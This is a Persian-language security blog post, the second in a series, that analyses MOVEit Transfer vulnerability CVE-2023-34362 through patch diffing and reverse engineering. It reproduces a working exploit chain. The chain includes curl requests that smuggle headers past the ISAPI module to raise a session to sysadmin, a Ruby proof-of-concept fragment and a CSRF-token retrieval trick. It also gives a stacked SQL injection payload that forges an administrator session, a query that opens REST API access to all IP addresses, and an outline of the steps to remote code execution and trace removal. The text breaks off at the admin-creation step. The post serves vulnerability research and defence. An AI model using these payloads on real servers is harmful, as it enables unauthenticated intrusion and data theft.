Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • سه گانه MOVEit Transfer – قسمت دوم : آنالیز آسیب پذیری CVE-2023-34362
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات

سه گانه MOVEit Transfer – قسمت دوم : آنالیز آسیب پذیری CVE-2023-34362

On تیر 12, 1402تیر 13, 1402
seyyid
Share
زمان مطالعه: 19 دقیقه

در قسمت اول این سری از پست ها، به بررسی کلی آسیب پذیری های اخیر MOVEit Transfer پرداختیم. در این پست به آنالیز آسیب پذیری CVE-2023-34362 پرداختیم که در حملات بعنوان زیرودی استفاده شده. در پست بعدی هم به نحوه استفاده از این آسیب پذیری در حملات پرداختیم.

 

آنالیز آسیب پذیری CVE-2023-34362 :

اکسپلویت این آسیب پذیری به دلیل اینکه چندین مورد رو باید در کنار هم قرار بدید ، یکمی پیچیده هستش، POC رو میتونید از این لینک مشاهده کنید. برای توسعه PoC ، از MOVEit Transfer version 2023.0.0 و از روش Patch Diffing برای آنالیز استفاده شده. این نسخه رو میتونید از کانالمون دانلود کنید.

با توجه به اینکه اغلب برنامه ها داخل اون دات نتی هستش از dotPeek یا ILSpy برای دیکامپایل کردن استفاده کردن و بعد از دیکامپایل ، نسخه آسیب پذیر رو با نسخه اصلاح شده مقایسه کردن تا نقاطی که تغییر کرده رو پیدا کنن. 2 مورد تغییر رو پیدا کردن که نقاط شروع خوبی رو بهشون داده. برای مقایسه میتونید از ابزار DiffMerge استفاده کنید.

مورد اول حذف تابع SetAllSessionVarsFromHeaders بوده که توسط machine2.aspx استفاده میشه :

 

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

دومین مورد، یه تغییر در یه کوئری پیچیده SQL بوده که در چندین جا، مورد استفاده قرار گرفته :

 

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

با توجه به اینکه در گزارش، اشاره شده که آسیب پذیری از نوع SQLi هست، محتملترین مکان برای وجود و بررسی آسیب پذیری ، این قسمت ها میتونه باشه.

در ابتدا محققا رفتن سراغ پیلودهای SQLi ساده، اما متوجه شدن که قضیه به این سادگی ها نیست و پیچیده هستش.

 

Session injection

محققا مطمئن بودن که تابع SetAllSessionVarsFromHeaders بخشی از زنجیره عفونت هستش. دلیلش هم این بوده که این تابه متغییرهای session رو از هدرها تنظیم میکنه. اگه به کد این تابع نگاه کنید، کاری که میکنه اینه که key: value ها رو از هدر X-siLock-SessVar میخونه و فقط از طریق machine2.aspx در session_setvars transaction فراخوانی میشه.

محققا روی متغیرهای session مختلف کار کردن و یه پیلود توسعه دادن که تونسته session فعلی رو به sysadmin ارتقاء بده :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Users\Administrator>curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://localhost/machine2.aspx"
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain
Server: Microsoft-IIS/10.0
X-siLock-ErrorCode: 0
X-siLock-FolderType: 0
X-siLock-InstID: 1884
X-siLock-Username: fp88r6zpmj24lad7
X-siLock-LoginName: test@test.com
X-siLock-RealName: test@test.com
X-siLock-IntegrityVerified: False
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 18:15:57 GMT
Content-Length: 0

 

مشکلی که وجود داشته اینه که ، machine2.aspx بصورت راه دور، قابل استفاده نیست :

 

1
2
3
4
$ curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://10.0.0.193/machine2.aspx"
HTTP/2 200
[...]
x-silock-errordescription: Remote access prohibited.

 

محققا روی روش های مختلف برای دور زدن استفاده کردن، اما نتیجه ای نداشته.

 

Header smuggling :

با لاگهایی که از Rapid7 بدست آوردن، متوجه شدن که machine2.aspx توسط localhost (::1) واکشی میشه و بعد از زمان کمی از فراخوانی، یه نقطه پایانی ISAPI با پارامتر m2 به اون دسترسی داره :

 

1
2
"2023-05-31 POST /moveitisapi/moveitisapi.dll action=m2 443
"2023-05-31 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200

 

ماژول های ISAPI هندلرهایی هستن که به زبان های سطح پایین نوشته میشن و مستقیماً در فضای حافظه IIS بارگذاری میشن.

در ادامه محققا رفتن سراغ moveitisapi.dll و با توجه به اینکه ، در زبان سی پلاس توسعه داده شده، اونو با IDA بررسی کردن. با مهندسی معکوس، متوجه شدن، تنها اکشنی که باعث میشه، m2 ، درخواستهارو به machine2.aspx فوروارد کنه، folder_add_by_path هستش:

 

1
2
3
4
5
6
7
8
9
10
11
12
text:00007FF8698E0964                 lea     r8, [rbp+890h+silock_transaction_buffer_probably] ; header_buffer
.text:00007FF8698E0968                 lea     rdx, header_name ; "X-siLock-Transaction"
.text:00007FF8698E096F                 mov     rcx, rbx        ; void *
.text:00007FF8698E0972                 call    get_header_probably ; <-- Get header
.text:00007FF8698E0977                 lea     rdx, folder_add_by_path ; "folder_add_by_path"
.text:00007FF8698E097E                 lea     rcx, [rbp+890h+silock_transaction_buffer_probably] ; String1
.text:00007FF8698E0982                 call    _stricmp
.text:00007FF8698E0987                 xor     esi, esi
.text:00007FF8698E0989                 test    eax, eax
.text:00007FF8698E098B                 jnz     log_illegal_transaction ; Returns "Illegal transaction" in the header
.text:00007FF8698E098B                                         ;
.text:00007FF8698E098B                                         ; Transaction apparently must be "folder_add_by_path"

 

در ادامه اومدن، کدهای دات نتی مرتبط با folder_add_by_path رو آنالیز و فاز کردن، اما چیز جالبی رو نتونستن کشف کنن.

در ادامه برای ساده تر کردن بررسی، یه ابزار در روبی توسعه دادن که در ادامه به عنوان PoC توسعه اش دادن :

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require 'httparty'
require 'socket'
require 'pp'
 
TARGET = "https://#{ARGV[0] || '10.0.0.193'}"
 
# Get an initial ASP.NET_SessionId token and also a siLockLongTermInstID.
puts
puts "Getting a session cookie..."
r = HTTParty.get("#{TARGET}/", verify: false)
cookies = r.get_fields('Set-Cookie').join('; ')
puts "Cookies = #{cookies}"
 
puts HTTParty.get(
  "#{TARGET}/moveitisapi/moveitisapi.dll?action=m2",
  verify: false,
  headers: {
    'Cookie' => cookies,
    'X-siLock-Transaction': 'folder_add_by_path',
  },
).headers

 

خروجی این کد روبی ، اینجوری بوده :

 

1
2
[...]
{"server"=>["Microsoft-IIS/10.0"], "date"=>["Fri, 09 Jun 2023 18:30:54 GMT"], "connection"=>["close"], "x-silock-errorcode"=>["2320"], "x-silock-errordescription"=>["Invalid transaction ''"], "x-silock-foldertype"=>["0"], "x-silock-instid"=>["1884"], "x-silock-username"=>["Anonymous"], "x-silock-realname"=>["Anonymous"], "x-silock-integrityverified"=>["False"], "content-length"=>["0"]}

 

اینجا بوده که محققا متوجه یه رفتار عجیب شدن. ماجرا هم اینجوری بوده که با توجه به لاگهای سرور، برنامه دات نتی هدر رو اینجوری میبینه :

 

1
X-Silock-Transaction: folder_add_by_path

 

اما ISAPI ، با توجه به اینکه در ابتدا حروف بزرگ به کوچیک تبدیل میکنه، در نهایت هدر به صورت زیر می بینه:

 

1
X-siLock-Transaction: folder_add_by_path

 

در نتیجه اگه به خروجی نگاه کنید، transaction بعنوان رشته خالی برگردونده. این حساس بودن به حروف بزرگ و کوچیک باعث میشه ما بتونیم هر دو شکل هدرها ، X-SILOCK-TRANSACTION و X-siLock-Transaction رو ارسال کنیم. با این کار ISAPI هر دو رو میبینه ، اما برنامه دات نتی فقط یکی رو میبینه.

نکته بعدی اینه که اگه ما دو تا هدر یکسان رو ارسال کنیم، ISAPI اونارو در یه هدر با هم ترکیب و با کاما از هم جدا میکنه. یعنی اگه ما folder_add_by_path و session_setvars رو بعنوان transaction بفرستیم، ISAPI  اونارو بصورت folder_add_by_path, session_setvars درمیاره که این خوب نیست.

در ادامه محققا متوجه شدن که get_header_probably هم اهمیتی به جایی که نام هدر هست نمیده و هرجایی حتی در مقدار هم اونو تطابق میده.

بین حساس بودن به حروف بزرگ و کوچیک و عدم تطابق درست، محققا یه پیلودی رو پیدا کردن که تونسته یه transaction غیرمجاز رو از کد ISAPI عبور بده :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl -ik -b "ASP.NET_SessionId=0nisxf5zik0u5ircok2q2mb0" -H 'X-siLock-Test: abcdX-SILOCK-Transaction: folder_add_by_path' -H "X-siLock-Transaction: sessio
n_setvars" -H "X-siLock-SessVar: MyPermission: 1000" 'https://10.0.0.193/moveitisapi/moveitisapi.dll?action=m2'
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
Date: Fri, 09 Jun 2023 18:43:06 GMT
Connection: close
X-siLock-ErrorCode: 0
X-siLock-FolderType: 0
X-siLock-InstID: 1884
X-siLock-Username: fp88r6zpmj24lad7
X-siLock-LoginName: test@test.com
X-siLock-RealName: test@test.com
X-siLock-IntegrityVerified: False
Content-Length: 0

 

همین پیلود منجر به افزایش امتیاز به sysadmin شده و اساسا همین برای اکسپلویت کافیه اما مهاجمان یه قدم هم جلو رفتن و از SQLi برای اکسپلویت استفاده کردن.

 

SQLi :

براساس لاگهای Rapid7 ، فایل بعدی درخواست شده بعد از تنظیم متغییرهای session، فایل guestaccess.aspx هستش. بنابراین این مکان خوبی برای ادامه جستجو هستش.

محققا با بررسی اصلاحیه، متوجه شدن که تابع UserGetUsersWithEmailAddress عملکرد جالبی داره و آسیب پذیره و بنابراین بررسی کردن که آیا میتونن از guestaccess.aspx به UserGetUsersWithEmailAddress برسن یا نه.

طبق بررسی اگه مراحل زیر اجرا بشه میشه از guestaccess.aspx به UserGetUsersWithEmailAddress رسید :

 

  • GetHTML() (in SILGuestAccess.cs)
  • PerformAction() (in SILGuestAccess.cs)
  • msgEngine.MsgPostForGuest() (in MsgEngine.cs)
  • userEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() (in UserEngine.cs)
  • UserGetUsersWithEmailAddress() (in UserEngine.cs)

 

اما برای اینکه این توابع رو بصورت دنباله ای داشته باشیم، باید یسری تنظیمات روشون انجام بدیم .

اغلب guestaccess.aspx برای کاربران میهان ،برای دانلود فایلهایی که توسط یه کاربر ثبت نام شده قرار گرفته، مورد استفاده قرار میگیره. اما مشکل اینجاست که ما نه کاربر ثبت نامی داریم و نه فایلی برای دانلود. اما در نزیکی تابع GetHTML در فایل SILGuestAccess.cs ما یه فراخوانی جالب داریم :

 

C#
1
this.m_pkginfo.LoadFromSession()

 

با توجه به اینکه ما میتونیم از طریق session_setvars خرابکاری کنیم، بنابراین بررسی این تابع ، میتونه کمک کننده باشه :

 

C#
1
2
3
4
5
6
7
8
9
10
11
public void LoadFromSession()
    {
      this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
      this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
      this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
      this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
      this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
      this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
      this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
      this.Viewed = -(SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) ? 1 : 0);
    }

 

با استفاده از session_setvars transaction و کد header-injection بالا، ما میتونیم هر یک از این مقادیر رو به مقدار دلخواه خودمون تغیر بدیم. یعنی اینکه ما میتونیم یه فایلی که وجود نداره رو برای دانلود ایجاد کنیم. یه مثال از این مورد به این صورت هستش :

 

1
2
3
4
5
6
7
set_session(cookies, {
  'MyPkgAccessCode'            => 'accesscode', # Must match the final request Arg06
  'MyPkgID'                    => '0', # Is self provisioned? (must be 0 for the exploit to work)
  'MyGuestEmailAddr'           => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
  'MyPkgInstID'                => '1234', # this can be any int value
  'MyPkgSelfProvisionedRecips' => 'recip@recip.com',
})

 

بعد از این مرحله ما دو تا مشکل دارم. یکی اینکه باید نام کاربری ما Guest باشه در غیر اینصورت session بسته میشه. بطور پیش فرض هم Anonymous هستیم.

 

C#
1
2
3
4
5
6
7
8
9
  if (Operators.CompareString(username, "Guest", false) == 0) // If username == Guest...
  {
    // [...]
  }
  else if (Operators.CompareString(username, "Anonymous", false) != 0 && Operators.CompareString(username, "", false) != 0)
  {
    this.siGlobs.objDebug.Log(20, "Found existing registered user session; clearing for guest use....");
    this.siGlobs.objUser.RemoveSession();
  }

 

برای این مورد هم باید بریم سراغ دستکاری متغییرهای session و اینار باید MyUsername روی Guest تنظیم کنیم.

مشکل دوم هم اینه که ما باید یه توکن CSRF معتبر داشته باشیم ، اگه نداشته باشیم، خطا میگیریم :

 

1
2
3
4
5
if (Operators.CompareString(this.siGlobs.Transaction, "", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "dummy", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "msgpassword", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "signoff", false) != 0 && Operators.CompareString(this.siGlobs.objUtility.GetCT(), this.siGlobs.CsrfTokenIncoming, false) != 0)
      {
        this.siGlobs.objDebug.Log(50, "Invalid CsrfToken value; will not run the transaction.");
        this.SetWarningStatus(this.siGlobs.objI11N.GetMsg(20271));
      }

 

گرفتن توکن CSRF یکمی دشوار هستش. این کار باید بعد از تنظیم MyUsername روی Guest انجام بشه و نکته ای که هست اینه که اکثر صفحاتی که توکن های CSRF بر میگردونن، مثله human.aspx ، بلافاصله sessionهای guest رو پاک میکنن.

در نهایت محققا متوجه شدن که با تنظیم Transaction به dummy و Arg06 به هر چیزی و Arg12 به promptaccesscode در guestaccess.aspx ، یه فرمی با یه توکن CSRF قابل استفاده دریافت میکنن :

 

1
2
3
4
$ curl -ski 'https://10.0.0.193/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf
[...]
<input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d">
[...]

 

بعد از اینکه MyUsername روی Guest و یه توکن CSRF تنظیم کردید ، بسته جعلی رو ایجاد میشه و دسترسی به تابع آسیب پذیر داریم. برای اطمینان از این امر، قابلیت لاگ گیری در MySQL رو بعد از لاگین کردن بعنوان کاربر root و اجرای دستورات زیر فعال میکنیم :

 

1
2
3
SET global log_output = 'FILE';
SET global general_log_file='mysql.log';
SET global general_log = 1;

 

بعد از فعال کردن لاگ گیری، تمام مراحل بالا رو برای ایجاد بسته انجام بدید، نام کاربری رو روی Guest تنظیم کنید و در نهایت guestaccess.aspx  رو با کوئری زیر درخواست کنید :

 

1
Arg06=accesscode&transaction=secmsgpost&Arg05=sendauto&csrftoken=<token>`

 

اگه به فایل لاگ MySQL که در c:\MySQL\data\mysql.log هست، نگاه کنیم، کوئری زیر رو میبینم :

 

1
2023-06-09T19:40:21.688213Z     36172 Query     SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='recip@recip.com' OR  `Email` LIKE 'recip@recip.com,%'  OR  `Email` LIKE '%,recip@recip.com'  OR  `Email` LIKE '%,recip@recip.com,%' ) ORDER BY LoginName

 

در ادامه محققین recip@recip.com رو به akb'testinjection تغییر دادن :

 

1
2
3
4
5
6
7
8
set_session(cookies, {
  'MyPkgAccessCode'            => 'accesscode', # Must match the final request Arg06
  'MyPkgID'                    => '0', # Is self provisioned? (must be 0)
  'MyGuestEmailAddr'           => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
  'MyPkgInstID'                => '1234', # this can be any int value
  'MyPkgSelfProvisionedRecips' => "akb'testinjection",
  'MyUsername'                 => 'Guest',
})

 

بعدش دوباره توکن CSRF گرفتن و درخواست ارسال کردن. اینبار یه خطایی ایجاد شده که در لاگ های برنامه ، که بطور پیش فرض در C:\MOVEitTransfer\Logs\DMZ_WEB.log هستش، قابل مشاهده هست :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: caught exception on statement 'SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='akb'testinjection' OR  `Email` LIKE 'akb'testinjection,%'  OR  `Email` LIKE '%,akb'testinjection'  OR  `Email` LIKE '%,akb'testinjection,%' ) ORDER BY LoginName'
2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: Caught exception MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'testinjection' OR  `Email` LIKE 'akb'testinjection,%'  OR  `Email` LIKE '%,akb't' at line 1
2023-06-09 12:42:44.081 #22 z10 DbConn.DoRead_DS: Exception stack trace:
   at MySql.Data.MySqlClient.MySqlStream.ReadPacket()
   at MySql.Data.MySqlClient.NativeDriver.GetResult(Int32& affectedRow, Int64& insertedId)
   at MySql.Data.MySqlClient.Driver.NextResult(Int32 statementId, Boolean force)
   at MySql.Data.MySqlClient.MySqlDataReader.NextResult()
   at MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet)
   at MOVEit.DMZ.Core.DbConn.<>c__DisplayClass76_0.<DoRead_DS>g__LocalGetDataSet|0()
   at MOVEit.DMZ.Core.DbConn.ExecuteSqlActionWithRetry[T](Func`1 dbAction, Action`3 onRetryAction)
   at MOVEit.DMZ.Core.DbConn.DoRead_DS(DbConnection conn, String query, Dictionary`2 parameters, String& reason)

 

تسلیح SQLi :

محققا برای اینکه بتونن، این آسیب پذیری رو تبدیل به سلاح کنن، پیلود زیر رو توسعه دادن. در این پیلود ، با توجه به اینکه امکان استفاده از کاما در درخواست نیست از UPDATE های متعدد استفاده شده .

 

MySQL
1
a@a.com');INSERT INTO activesessions (SessionID) values ('rd0szzmafyxku5msjbbskx0h');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET InstId='1234' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET IpAddress='10.0.0.227' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET Timeout='60' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET ResilNode='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET AcctReady='1' WHERE SessionID='rd0szzmafyxku5msjbbskx0h'#

 

کارش هم اینه که یه ردیف بصورت زیر در جدول activesessions ایجاد میکنه :

 

1
2
3
4
5
6
mysql> select * from activesessions where sessionid='rd0szzmafyxku5msjbbskx0h';
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+
| ID   | Username         | LoginName     | RealName      | InstID | ActAsInstID | IPAddress  | LastTouch           | SessionID                | DMZInterface | Remove | Refresh | RefreshAuthTabs | Timeout | ResilNode | Cert | GuestAccessCode | UsingSiteMinder | SAMLIdPID | SAMLNameID | SAMLNameIDXML | SAMLSessionIndex | AcctReady | InterfaceCode |
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+
| 6195 | 6qt2vnlopc1pgb77 | test@test.com | test@test.com |   1234 |        NULL | 10.0.0.227 | 2023-06-09 12:50:23 | rd0szzmafyxku5msjbbskx0h |           10 |      0 |       0 |               0 |      20 |         0 |      | NULL            |               0 |         0 | NULL       | NULL          | NULL             |         1 |             0 |
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+

 

با این کار ، مهاجم میتونه از human.aspx بازدید کنه و به برنامه با بالاترین امتیاز یعنی sysadmin دسترسی داشته باشه.

 

 

اجرای کد از راه دور :

تا اینجا ما یه آسیب پذیری SQLi داریم ولی در این مرحله میخواییم از این آسیب پذیری برای اجرای کد از راه دور بدون احرازهویت استفاده کنیم. مراحل کلی اجرای کد بصورت زیر هستش :

  • از SQLi برای دسترسی از راه دور به REST API استفاده میکنیم.
  • از SQLi برای ایجاد یه کاربر جدید sysadmin با پسوردی که میدونیم، استفاده میکنیم.
  • از کاربر جدید sysadmin برای ورود به سیستم و بدست آوردن REST API access token استفاده میکنیم.
  • از REST API برای شناسایی یه folder ID number استفاده میکنیم.
  • از REST API برای آپلود یه فایل resumable در این فولدر استفاده میکنیم.
  • از SQLi برای بدست آوردن کلید رمزنگاری سازمان (Organization) با InstID صفر استفاده میکنیم.
  • یه NET deserialization gadget ایجاد میکنیم و اون رو با کلید رمزنگاری که قبلا بدست آوردیم، رمز میکنیم.
  • از SQLi برای ذخیره deserialization gadget رمز شده در فیلد آپلود فایل resumable در دیتابیس استفاده میکنیم.
  • از REST API برای از سرگیری آپلود فایل و راه اندازی deserialization استفاده میکنیم ، که به ما امکان RCE رو میده.
  • از SQLi برای حذف تمام موارد اکسپلویت استفاده میکنیم. هدف از این مرحله پنهون کردن ردپاست

در ادامه بریم و این مراحل رو بررسی کنیم. خیلی خلاصه بخوایم سناریو رو مرور کنیم، یه تابع deserialization ناامن وجود داره، مهاجم میتونه با SQLi یه gadget مخرب بنویسه و بعدش با ارسال درخواست به نقطه پایانی، deserialization ناامن فراخونی کنه و RCE بگیره.

 

اجازه دسترسی از راه دور :

MOVEit Transfer دسترسی آدرس IP به REST API رو از طریق قوانین تعریف شده در جدول moveittransfer.hostpermits، همانطور که در زیر نشان داده شده ، اعمال میکنه. بنابراین اولین قدم برای اینکه بتونیم از راه دور به REST API دسترسی داشته باشیم، دستکاری این جدول هستش تا اجازه دسترسی به IPهای خارجی رو بده .

 

1
2
3
4
5
6
7
8
9
mysql> SELECT * FROM moveittransfer.hostpermits;
+----+--------+------+---------+----------+---------------------+----------+----------------+
| ID | InstID | Rule | Host    | PermitID | Comment             | Priority | HostnameLookup |
+----+--------+------+---------+----------+---------------------+----------+----------------+
|  1 |     10 |    1 | *.*.*.* |       16 | IP Lockout Wildcard |    99999 | NULL           |
|  2 |   8937 |    1 | 10.*.*.* |        4 |                     |        1 | NULL           |
|  3 |   8937 |    1 | 10.*.*.* |        3 |                     |        1 | NULL           |
+----+--------+------+---------+----------+---------------------+----------+----------------+
3 rows in set (0.00 sec)

 

برای این کار از کوئری زیر استفاده میکنیم :

 

MySQL
1
UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'

 

ایجاد کاربر sysadmin :

